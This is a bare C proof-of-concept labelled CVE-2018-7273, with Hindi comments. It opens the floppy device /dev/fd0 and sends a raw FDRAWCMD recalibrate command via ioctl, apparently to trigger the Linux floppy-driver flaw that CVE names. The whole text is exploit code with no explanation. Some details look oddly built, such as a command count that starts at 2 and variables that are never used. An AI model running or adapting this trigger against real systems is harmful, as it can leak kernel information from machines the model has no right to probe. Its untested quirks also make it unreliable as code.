CVE-2018-7273

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/kernel.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/fd.h>

static int drive_selector(int head) {
            return (head << 2);
}

void fd_recalibrate(int fd) {
                struct floppy_raw_cmd raw_cmd;
                int tmp;

                raw_cmd.flags = FD_RAW_INTR;
                raw_cmd.cmd_count = 2;

                // कमांड सेट करें
                raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07; 
                raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0); 
                tmp = ioctl( fd, FDRAWCMD, &raw_cmd ); 
                printf("स्थिति:%d\n",tmp); 
} 
int main(){ 
        printf("शुरू\n"); 
        char *d; 
        struct floppy_raw_cmd *cmd; 
         
        int fd; 
        fd = open("/dev/fd0",O_RDWR | O_NDELAY); 
        fd_recalibrate(fd); 
        close(fd); 
        printf("समाप्त\n"); 
        return 0; 
}